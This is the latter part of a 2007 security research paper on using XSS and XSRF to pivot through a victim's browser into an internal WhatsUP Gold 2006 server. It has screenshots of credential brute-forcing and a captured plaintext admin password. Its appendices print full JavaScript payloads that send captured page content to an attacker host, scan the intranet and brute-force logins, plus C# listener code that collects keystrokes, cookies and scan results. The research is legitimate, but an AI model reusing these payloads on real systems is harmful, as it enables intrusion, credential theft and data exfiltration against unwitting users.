The screenshots below show the attacker brute forcing login credentials and driving the interaction with the victim's browser and the WhatsUP Gold server via the established XSS control channel and the XHR object. The first screenshot shows the attacker calling the getGold() JavaScript function. The getGold JavaScript automates the credential brute-forcing. The getGold JavaScript function loads the username and password combinations from the usernameList and passwordList JavaScript arrays (shown in an earlier screenshot) into a loop and POSTs the various username and password combinations to the WhatsUP Gold 2006 server. It follows up each POSTs of credentials with an "authenticated only" XSS. The JavaScript for getGold is provided in <u>Appendix A</u> (WhatsUP Gold 2006 Brute Forcer).

🔜 X	(S-Sniper			
	Sniper	Sniper Scope	KeyLogger	Nikto Results
	getGo	Activ old();	ve Payload	

Once the correct credentials have been brute forced by the getGold function, the follow up "authenticated only" XSS establishes the control channel between the WhatsUP Gold 2006 server and the attacker via the victim's browser. The screenshot below shows that the execution of the injected JavaScript was successful. The alternating requests for execute.js and external.js show that we have two control channels via the victim's browser, one control channel to MyPercent20 and one control channel to WhatsUP Gold 2006 (much like the BigCreditUnion example).

http://www.attacker.com/external-spot.js	
http://www.attacker.com/noresponse.js	
http://www.attacker.com/external-spot.js	
http://www.attacker.com/test/execute.js?trigg	er=51
http://www.attacker.com/test/external.js3trigg	er=93
http://www.attacker.com/test/external.js?trigg	er=93
http://www.attacker.com/test/execute.js?trigg	er=51
http://www.attacker.com/test/external.js?trigg	er=93
	<u> </u>
< III.	>

Once the attacker has established the control channel with the WhatsUP Gold 2006 server, the attacker can drive the interaction with the WhatsUP Gold server via the XHR function (much like the BigCreditUnion example). The screenshot below shows the attacker driving the invisible iframe to Configure.asp page on the WhatsUP Gold 2006 server.



Once the attacker drives the invisible frame to the Configure.asp page, the attacker can view the rendered HTML from the Configure.asp page. The screenshot below shows the attacker using the Sniper Scope to view the captured HTML from the Configure.asp page. From here, the attacker chooses the next step of the attack, in this case, the "Manage Users" link.

Sniper	Sniper Scope	KeyLogger	Nikto Results	Scanner	Recon	Javascript
×			E	<u>xplorer</u>	Re	ports
		Syste <u>Perfo</u> <u>Activ</u> Activ	em Configuration ormance Monitor I ve Monitor Library on Library	Library Y		
		Man <u>Man</u> LDA IP S Char Recu	age Web Server age Users IP Credentials ecurity nge your Password urring Actions	<u>1</u>		

Once again, the attacker drives the invisible frame to the "Manage Users" page through the use of the XHR function. Once the "Manage Users" page is requested via XHR, the attacker views the rendered HTML in the Sniper Scope. These two steps are shown in the screenshots below.



🖳 xs	Sniper							
	Sniper	Sniper Scope	KeyLogger	Nikto Results	Scanner	Recon	Javascript	External Atta
	×				Explorer	10 10	Reports	Configur
			Use	er Management				×
				User Name	Auther	ntication T	vne	
				admin	Interna	4	Add	
			L.	<u>guest</u> Trans Davies Crew	Interna	u abta ia dia	Delete	e
					ip Access N	gnits is di s	abieu.	

Once the attacker identifies the specific user account to view, the attacker simply crafts another XHR request to the appropriate page. In this example, the attacker drives the invisible iframe to the "EditUser.asp" page and passes the appropriate parameters to view the details for the "Admin" account. Once the request has been made, the attacker can view the rendered HTML in the Sniper Scope. Additionally, because the Sniper

Scope is a browser object, the attacker can view any details contained in the HTML source of the page. The screenshots below show the attacker initiating the steps necessary to drive the invisible frame and capturing the "Internal Password" for the admin user, which is in plaintext in the HTML source.

🔜 X	S-Sniper			
	Sniper	Sniper Scope	KeyLogger	Nikto Result
		External A	ctive Payload	1
	XHR(nWeb	'/NmConsole/Us)UserID=1');	serEdit.asp?	<u>()</u>

S-Sniper									
Sniper	Sniper Scope	KeyLogger	Nikto Results	Scanner	Recon	Javascript	External Attacks	Settings	Nikto 5
×							× I	ogged in as adm	in Log Out
			E	xplorer	Re	ports	Configure	Tools	
		Edit	User				×		
		User admi	name: n						
		Auth In	entication type: iternal ○LDAP						
		Inter	nal password:						
		Conf	irm password:						
		••••	•••••						
		Hom My N	e Group: letwork						
		Devi	ce Group Settings						

User name:	Back
admin	Forward
	Save Background As
Authentication type:	Set as Background
Internal LDAP	Copy Background
	Select All
Internal password:	Paste
•••••	Create Shortcut
	Add to Favorites
Confirm password:	View Source
•••••	Encoding •

l" name="sl	Password" class="fo	orm-textElm" maxLe	ength="256"	value="wugNC2(006"> <mark></mark>	
'assword" I	name="sConfirmPassv	vord" class="form-	textElm" ma	uxLength="256"	value="wugNC2	006">

Chapter 5 – Conclusion

Using the techniques described above, we were able to attack an external application via XSS and XSRF. We were also able to gain access to an internal network resource using the victim's browser as a sort of a proxy. We were able to gain access to the internal network device despite the fact that the victim never had an established session with the internal network device. Although the examples presented above were limited to BigCreditUnion.com and WhatsUP Gold 2006, the underlying principles can be used to attack any web server vulnerable to XSS and XSRF.

Web browsers have become an essential tool for any computer user, both at home and at work. As users become more and more comfortable with using browsers, the attacks described above will become more and more commonplace. As client side technologies advance (JavaScript, VBScript, Flash, Applets, PDFs, Embedded movies...etc), so too will the attacks that utilize these client side technologies. As more and more content is delivered to and from our browsers, these attacks will become more and more difficult to detect. The examples presented above, along with previous examples (Hacking Intranet Websites from the Outside, JavaScript Port-Scanning...etc), point to a dangerous trend; the bypassing of firewall protections and the attacking of the vulnerable "guts" of an organization.

Our appreciation of firewalls has morphed into a dependency and a deep reliance on firewalls to "protect" invaluable data stored on un-patched and un-maintained systems. The armor provided by firewalls is strong, and time tested, it does however have one "chink", and that chink is HTTP. The necessity of web based traffic has forced us to allow exceptions in our firewall rule sets. Initially, this exception basically meant that only HTML could traverse the chasm between an organization's internal network and the Internet. Today, this exception means HTML, Images, JavaScript, VBScript, LiveScript, Flash, Java Applets, PDFs, Mpegs, QT, and a plethora of other technologies can traverse the chasm known as the firewall. These technologies are being abused by attackers to gain a "staging point" on your internal network for attacks against your internal network resources. These attacks are maturing and the sophistication of these attacks is advancing at alarming speeds. So what can be done, input validation? same origin policy? one time tokens? Web application developers and application security experts are struggling to find the answers. While application developers and application security experts struggle to find solutions to the growing number of client side attacks. network administrators must not sit idle and wait for "application guys" to fix their problems, they must take action to protect their internal assets, as your internal assets have now become our newest targets.

-BK-

References

Reflections on Trusting Trust – Ken Thompson – *Communication of the ACM*, Vol. 27, No. 8, August 1984, pp. 761-763

Unknown Air Force Document. - 4. Unknown Air Force Document. - N/A

RSnake - http://ha.ckers.org/

Jeremiah Grossman - http://jeremiahgrossman.blogspot.com/

Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous" – Jeremiah Grossman & TC Niedzialkowski, Whitehat Security – http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf

XSS-Proxy, Advanced XSS Attacks – Anton Rager, Avaya – http://xssproxy.sourceforge.net/

Analysis of Web Application Worms and Viruses – Billy Hoffman, SPIDynamics http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf

The Cross-Site Request Forgery (CSRF/XSRF) FAQ – Robert Auger, CGI Security – http://www.cgisecurity.com/articles/csrf-faq.shtml

Cross-Site Scripting – SPIDynamics – http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

JavaScript Port-Scanning – Various Sources – http://www.spidynamics.com/spilabs/jsport-scan/, http://www.gnucitizen.org/projects/javascript-port-scanner/, http://ha.ckers.org/blog/20060802/javascript-port-scanners/

Six Degrees of XSSploitation – Dan Moniz & HD Moore – Blackhat Briefings USA 2006

"The Cross Site Scripting FAQ" – CGI Security - http://www.cgisecurity.com/articles/xss-faq.shtml

Appendix A – JavaScript Payloads

Spotter.js

parent.document.write('<body onload=spotter()>'); var randomnumber=Math.floor(Math.random()*1000001);

function spotter(){

var bigframe=parent.document.documentElement.innerHTML;

iframeHTML='<IFRAME NAME="myFrame" iframe id="myFrame" width="100%" height="100%" scrolling="auto" frameborder="0"></IFRAME>';

iframeHTML+='<IFRAME NAME="myFrame2" iframe id="myFrame2" width="0%" height="0%" scrolling="auto" frameborder="0"></IFRAME>';

iframeHTML+='<IFRAME NAME="myFrame3" iframe id="myFrame3" width="0%" height="0%" scrolling="auto" frameborder="0"></IFRAME>';

```
document.body.innerHTML=iframeHTML;
```

```
setInterval('controlFrameFunction()',5000);
```

```
var victimFrame = document.getElementById('myFrame');
```

var newVictimContents = bigframe.replace("spotter.js","noresponse.js");

var newVictimFrame = victimFrame.contentWindow.document;

newVictimFrame.open();

```
newVictimFrame.write(newVictimContents);
```

newVictimFrame.close();

document.all.myFrame.style.visibility="visible";

```
}
```

function controlFrameFunction()

```
{
```

var controlFrameHTML = "<html><body>";

controlFrameHTML += "</script>";

```
controlFrameHTML += "<script
```

src='http://%IPPLACEHOLDER%/test/execute.js?trigger="+randomnumber+"'>";

controlFrameHTML += "</script>";

var controlFrame = document.getElementById('myFrame2');

var controlContents = controlFrameHTML;

var newControlContents = controlFrame.contentWindow.document;

newControlContents.open();

newControlContents.write(controlContents);
newControlContents.close();

}

External-spot.js

document.write('<body onload=spotter()>');

var randomnumber=Math.floor(Math.random()*1000001);

function spotter(){

var bigframe=document.documentElement.innerHTML;

iframeHTML='<IFRAME NAME="myFrame" iframe id="myFrame" width="50%" height="50%" scrolling="auto" frameborder="0"></IFRAME>';

iframeHTML+='<IFRAME NAME="myFrame2" iframe id="myFrame2" width="0%" height="0%" scrolling="auto" frameborder="0"></IFRAME>';

iframeHTML+='<IFRAME NAME="myFrame3" iframe id="myFrame3" width="50%" height="50%" scrolling="auto" frameborder="0"></IFRAME>';

document.body.innerHTML=iframeHTML;

setInterval('controlFrameFunction()',5000);

var victimFrame = document.getElementById('myFrame');

var newVictimContents = bigframe.replace("external-spot.js","noresponse.js");

var newVictimFrame = victimFrame.contentWindow.document;

newVictimFrame.open();

newVictimFrame.write(newVictimContents);

```
newVictimFrame.close();
```

}

function controlFrameFunction()

{

```
var controlFrameHTML = "<html><body>";
```

controlFrameHTML += "</script>";

```
controlFrameHTML += "<script
```

src='http://%IPPLACEHOLDER%/test/external.js?trigger="+randomnumber+">";

```
controlFrameHTML += "</script>";
```

var controlFrame = document.getElementById('myFrame2');

```
var controlContents = controlFrameHTML;
```

var newControlContents = controlFrame.contentWindow.document;

newControlContents.open();

newControlContents.write(controlContents);

newControlContents.close();

```
}
```

Sniper Scope

```
function sniperscope(){
var browser=navigator.appName
var b_version=navigator.appVersion
var version=parseFloat(b_version)
if (browser=="Microsoft Internet Explorer")
{
IEsniperscope();
}
else
{
firefoxsniperscope();
}
```

Firefox Sniper Scope

function firefoxsniperscope(){

var encodedcontent = escape(parent.myFrame.document.documentElement.innerHTML);

sniperscopeimage = new Image();

sniperscopeimage.src = "http://%IPPLACEHOLDER%/parameter.gif?content="+encodedcontent;

}

IE Sniper Scope

function IEsniperscope(){

var frame3html ='<html><body><IFRAME NAME="crossDomainPostFrame" iframe id="crossDomainPostFrame";

frame3html += 'width="50%" height="50%" scrolling="auto" frameborder="1"></IFRAME>';

frame3html += '<script>var test =

escape(parent.myFrame.document.documentElement.innerHTML);';

frame3html += 'var postFrame = document.getElementById("crossDomainPostFrame");';

frame3html += 'var newPostContents = postFrame.contentWindow.document;';

frame3html += 'var crossDomainPostContents = "<html><body>";';

frame3html += 'crossDomainPostContents += "<form name=myform method=POST action=http://%IPPLACEHOLDER%/test/4321>";';

frame3html += 'crossDomainPostContents += "<input type=hidden name=content value="+test;';

frame3html += 'crossDomainPostContents +="></form>";';

frame3html += 'crossDomainPostContents += "<script>";';

frame3html += 'crossDomainPostContents +="document.forms[\'myform\'].submit();";';

frame3html += 'crossDomainPostContents +="</scr";';

frame3html += 'crossDomainPostContents += "ipt>";';

frame3html += 'crossDomainPostContents +="test</body</html>";';

frame3html += 'newPostContents.open();';

frame3html += 'newPostContents.write(crossDomainPostContents);';

frame3html += 'newPostContents.close();';

frame3html += '</script></body></html>';

parent.myFrame3.document.open();

parent.myFrame3.document.write(frame3html);

parent.myFrame3.document.close();

XML HTTP Request (XHR)

```
function XHR(url)
{
xmlhttp=null
if (window.XMLHttpRequest)
 {
 xmlhttp=new XMLHttpRequest();
}
// code for IE
else if (window.ActiveXObject)
 {
 xmlHttp = new ActiveXObject('MSXML2.XMLHTTP.3.0');
}
if (xmlhttp!=null)
 {
 xmlhttp.onreadystatechange=state_Change;
 xmlhttp.open("GET",url,true);
 xmlhttp.send(null);
}
else
 {
}
}function state_Change()
{
// if xmlhttp shows "loaded"
if (xmlhttp.readyState==4);
{
       XHRsniperscope(xmlhttp.responseText);
}
}
```

XHR Sniper Scope

```
function XHRsniperscope(contents){
var browser=navigator.appName;
var b_version=navigator.appVersion;
var version=parseFloat(b_version);
if (browser=="Microsoft Internet Explorer")
{
XHRIEsniperscope(contents);
}
else
{
XHRfirefoxsniperscope(contents);
}
}
```

XHR Firefox Sniper Scope

function XHRfirefoxsniperscope(contents1){
var encodedcontent = escape(contents1);
sniperscopeimage = new Image();
sniperscopeimage.src =
"http://%IPPLACEHOLDER%/parameter.gif?XHRcontent="+encodedcontent;"

}

XHR IE Sniper Scope

function XHRIEsniperscope(contents2){ var HTMLcontents = escape(contents2); var frame3html ='<html><body><IFRAME NAME="crossDomainPostFrame" iframe id="crossDomainPostFrame"; frame3html += 'width="50%" height="50%" scrolling="auto" frameborder="1"></IFRAME>'; frame3html += '<script>var test = escape(\"+HTMLcontents+'\');'; frame3html += 'var postFrame = document.getElementById("crossDomainPostFrame");'; frame3html += 'var newPostContents = postFrame.contentWindow.document;'; frame3html += 'var crossDomainPostContents = "<html><body>";'; frame3html += 'crossDomainPostContents += "<form name=myform method=POST action=http://%IPPLACEHOLDER%/test/XHR>";'; frame3html += 'crossDomainPostContents += "<input type=hidden name=content value="+test;'; frame3html += 'crossDomainPostContents +="></form>";'; frame3html += 'crossDomainPostContents += "<script>";'; frame3html += 'crossDomainPostContents +="document.forms[\'myform\'].submit();";'; frame3html += 'crossDomainPostContents +="</scr";'; frame3html += 'crossDomainPostContents += "ipt>";'; frame3html += 'crossDomainPostContents +="test</body</html>";'; frame3html += 'newPostContents.open();'; frame3html += 'newPostContents.write(crossDomainPostContents);'; frame3html += 'newPostContents.close();'; frame3html += '</script></body></html>'; parent.myFrame3.document.open(); parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close(); }

WhatsUP Gold 2006 Scanner

```
var myimages = new Array();
var imageLocations = new Array();
var arraycounter = 0;
var payloadtoattacker = new Image();
for (i=140; i<=150; i++)
{
    imageLocations[arraycounter] =
    "http://192.168.58."+i+"/NmConsole/images/logo_WhatsUpProfessional.gif";
    arraycounter++;
}
function preloading(){
```

```
for (x=0; x < imageLocations.length; x++){
  myimages[x] = new Image();
  myimages[x].src = imageLocations[x];
}</pre>
```

}

```
function fingerprint(){
```

```
for(numofimages = 0; numofimages < myimages.length; numofimages++){
    if (myimages[numofimages].width==0)
    {
        }
        else
        {
            payloadtoattacker.src="http://www.attacker.com/parameter?scanner=WhatsUPGOLD200
6@"+myimages[numofimages].src}
        }
        preloading();
    setTimeout('fingerprint()',1000);
</pre>
```

WhatsUP Gold 2006 Brute Forcer

function getGold(){

```
BF('http://192.168.58.144/NmConsole/Login.asp','http://192.168.58.144/NmConsole/ToolResults.
asp?blsIE=true&nToolType=0&sHostname=%3cscript%20src=%22http://www.attacker.com/exter
nal-
```

spot.js%22%3e%3c/script%3e&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping','blsJavaSc riptDisabled=false&btnLogIn=Log+In&blsIE=true');

```
}
```

```
function BF(login,xss,otherparameters){
```

```
var usernameList = new Array("administrator","whatsup","admin");
```

var passwordList = new Array("password","admin","administrator");

```
var additionalparams = otherparameters;
```

```
var myTimeout = 100;
```

var usernameListLength = usernameList.length;

```
for (var i=0, len=usernameListLength; i<len; ++i){
```

```
setTimeout("FollowUPXSS('"+login+"')",myTimeout);
```

```
var username = usernameList[i];
```

```
var passwordListLength = passwordList.length;
```

```
for (var i2=0, len2=passwordListLength; i2<len2; ++i2){
```

```
var password = passwordList[i2];
```

```
myTimeout = myTimeout + 500;
```

```
setTimeout("CredBF('"+login+"','sLoginUserName','"+username+"','sLoginPassword','"+p assword+"','"+additionalparams+"')",myTimeout);
```

```
myTimeout = myTimeout + 500;
```

```
setTimeout("FollowUPXSS('"+xss+"')",myTimeout);
```

```
}
}
}
```

function

 $CredBF (loginURL, username param, username value, password param, password value, other params) \ \{$

var otherparameters_array=otherparams.split("&");

var otherparametersLength = otherparameters_array.length;

```
var otherparameters_array2 = new Array();
```

var frame3html = '<html><body><form name=credsform id=credsform method=POST
action='+loginURL+' >';

frame3html += '<input type=hidden name='+usernameparam+' value='+usernamevalue+'>';

frame3html += '<input type=hidden name='+passwordparam+' value='+passwordvalue+'>';

for (var op=0, oplen=otherparametersLength; op<otherparametersLength; ++op)

{

otherparameters_array2=otherparameters_array[op].split("=");

```
frame3html += '<input type=hidden name='+otherparameters_array2[0]+'
value='+otherparameters_array2[1]+'>';
```

}

```
frame3html += '</form>';
```

```
frame3html += '<script>';
```

frame3html += 'document.forms[\'credsform\'].submit();';

frame3html += '</scr'+'ipt>';

frame3html += '</body></html>';

parent.myFrame3.document.open(); parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close(); }

Kicking Down the Cross Domain Door

function FollowUPXSS(xssstring){
var xss = xssstring;

var frame3html2 = '<html><body><form name=credsform2 id=credsform2 method=POST action='+xssstring+'>';

frame3html2 += '</form>';

frame3html2 += '<script>';

frame3html2 += 'document.forms[\'credsform2\'].submit();';

frame3html2 += '</scr'+'ipt>';

frame3html2 += '</body></html>';

parent.myFrame3.document.open(); parent.myFrame3.document.write(frame3html2); parent.myFrame3.document.close();

}

Nikto Scanner

```
function snipernikto(){
var browser=navigator.appName
if (browser=="Microsoft Internet Explorer")
{
IEsnipernikto()
}
else
{
firefoxsnipernikto();
}
```

```
function firefoxsnipernikto(){
var fullresponse = "";
sniperNiktoImage = new Image();
var sniperNikto = new Array();
var newSniperNikto = new Array();
var isVulnerable;
```

```
sniperNikto[0]="apache^//Celerra Web Manager/GET/Default EMC Cellera manager server is running.";
```

sniperNikto[1]="apache^//deafult Tomcat^GET^Appears to be a default Apache Tomcat install."; sniperNikto[2]="apache^//default Tomcat^GET^Appears to be a default Apache Tomcat install."; sniperNikto[3]="generic^/includes/^200^GET^This might be interesting...";

```
for (i=0;i < sniperNikto.length;i++)
{
newSniperNikto = sniperNikto[i].split('^');
xmlrequest(newSniperNikto[3],newSniperNikto[1],newSniperNikto[2],newSniperNikto[4]);
}
```

function xmlrequest(method,url,searchstring,desc)

```
{
```

```
var xmlhttp = new XMLHttpRequest();
var isVulnerable;
xmlhttp.open(method,url, true);
xmlhttp.send(null);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
fullresponse = xmlhttp.status;
fullresponse += "\r\n";
fullresponse += xmlhttp.statusText;
fullresponse += "\r\n";
fullresponse += xmlhttp.getAllResponseHeaders();
fullresponse += xmlhttp.responseText;
isVulnerable = fullresponse.indexOf(searchstring);
if (isVulnerable \geq 0)
{
sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoVulnerable='+url+"
"+desc;
}
else
sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoNotVulnerable='+url+"
"+desc;
```

{

} } } function IEsnipernikto(){ var fullresponse = ""; var xmlhttp = 'no Object'; sniperNiktoImage = new Image(); var sniperNikto = new Array(); var newSniperNikto = new Array(); var isVulnerable;

sniperNikto[0]="apache^//Celerra Web Manager/GET/Default EMC Cellera manager server is running.";

sniperNikto[1]="apache^//deafult Tomcat^GET^Appears to be a default Apache Tomcat install."; sniperNikto[2]="apache^//default Tomcat^GET^Appears to be a default Apache Tomcat install."; sniperNikto[3]="generic^/includes/^200^GET^This might be interesting...";

for (i=0;sniperNikto.length;i++)

{

```
newSniperNikto = sniperNikto[i].split('^');
```

isVulnerable = checkURLStatus(newSniperNikto[1],newSniperNikto[3]);

isVulnerable =isVulnerable.indexOf(newSniperNikto[2]);

```
if (isVulnerable \geq 0)
```

{

```
sniperNiktoImage.src =
'http://%IPPLACEHOLDER%/parameter.gif?niktoVulnerable='+newSniperNikto[1]+"
"+newSniperNikto[4];
}
else
{
sniperNiktoImage.src =
'http://%IPPLACEHOLDER%/parameter.gif?niktoNotVulnerable='+newSniperNikto[4];
}
function checkURLStatus(url,requestmethod)
{
try {xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');}
catch(e1)
{
```

Kicking Down the Cross Domain Door

```
try{xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');}
catch(e2)
{
try{xmlhttp = new XMLHttpRequest();}
catch(e3)
{xmlhttp = 'no object';}}}
xmlhttp.open(requestmethod, url, true);
xmlhttp.onreadystatechange = handlexmlhttpstatechange;
xmlhttp.send();
return (fullresponse);
}
function handlexmlhttpstatechange() {
if (xmlhttp.readyState == 4){
fullresponse = xmlhttp.status;
fullresponse += "\r\n";
fullresponse += xmlhttp.statusText;
fullresponse += "\r\n";
fullresponse += xmlhttp.getAllResponseHeaders();
fullresponse += xmlhttp.responseText;
}
}
}
}
```

Appendix B – Sniper Code Snippets

```
private static void ProcessIncomingRequest(HttpListenerRequest httprequest)
        ł
             11
             11
                Determine whether the incoming request it a GET or a POST and act accordingly
            11
            string request = "" ;
            if (httprequest.HttpMethod.Equals("GET"))
            {
                 request = httprequest.Url.ToString();
                 request = System.Web.HttpUtility.UrlDecode(request);
            else if (httprequest.HttpMethod.Equals("POST"))
                System.IO.StreamReader MyReader = new System.IO.StreamReader(httprequest.InputStream,
System.Text.Encoding.ASCII, false);
                string myPostParameters = MyReader.ReadToEnd().ToString();
                request = "?" + myPostParameters.ToString();
                11
                // We use TWO UrlDecodes to make our incoming request readable by our webbrowser object
                // If this is an XHR request, we decode three times!
                11
                request = System.Web.HttpUtility.UrlDecode(request);
                request = System.Web.HttpUtility.UrlDecode(request);
                if (httprequest.Url.ToString().Contains("XHR"))
                    request = System.Web.HttpUtility.UrlDecode(request);
            11
            // Process the incoming request for payloads
            11
            if (request.IndexOf("?") >= 0 )
            {
```

March 2007

```
string parameters = request.Substring(request.IndexOf("?"));
                11
                // Process incoming keylogger payloads
                11
               if (parameters.Contains(forml.txtKeyLoggerString.Text))
                   string keystroke = request.Substring(request.IndexOf("=") + 1);
                    updateKeyLoggerDelegate updateKeyLoggerMethodObject = new
updateKeyLoggerDelegate(updateKeyLoggerMethod);
                    form1.txtKeyLogger.Invoke(updateKeyLoggerMethodObject, keystroke.ToString());
                }
                11
                // Process incoming nikto payloads
                11
               if (parameters.Contains(form1.txtNiktoPositives.Text))
                    string niktoPositive = request.Substring(request.IndexOf("=") + 1);
                   updateNiktoResultsDelegate updateNiktoResultsObject = new
updateNiktoResultsDelegate(updateNiktoResults);
                    form1.txtNiktoPositives.Invoke(updateNiktoResultsObject, niktoPositive.ToString());
                }
                11
                // Process incoming sniperscope payloads
                11
               if (parameters.Contains(form1.txtSniperScopeString.Text))
                    11
                   //Grab the returned content (very simple version here)
                    11
                    string content = request.Substring(request.IndexOf("=") + 1);
                    11
```

```
//Check for and remove execute.js in order to prevent self XSS
                    11
                    if (content.IndexOf("execute.js") > -1)
                            content = content.Replace("execute.js", form1.txtNoResponseString.Text);
                    11
                    //Check for and remove spotter.js in order to prevent self XSS
                    11
                    else if (content.IndexOf("spotter.js") > -1)
                    {
                            content = content.Replace("spotter.js", form1.txtNoResponseString.Text);
                    11
                    //Write the sanitized content to the sniper scope
                    11
                    form1.webSniperScope.DocumentText = content;
                11
                // Process incoming cookie thief payloads
                11
                if (parameters.Contains(form1.txtCookieString.Text))
                {
                    string cookie = request.Substring(request.IndexOf("=") + 1);
                   updateCookieTextDelegate updateCookieTextObject = new
updateCookieTextDelegate(updateCookieTextMethod);
                    form1.txtCookies.Invoke(updateCookieTextObject,cookie);
                11
                // Process incoming scanner payloads
                11
```

```
if (parameters.Contains(forml.txtScannerString.Text))
{
    string scannerPositive = request.Substring(request.IndexOf("=")+1);
    updateScannerResultsDelegate updateScannerResultsObject = new
updateScannerResultsDelegate(updateScannerResults);
    forml.txtScannerString.Invoke(updateScannerResultsObject, scannerPositive.ToString());
}
```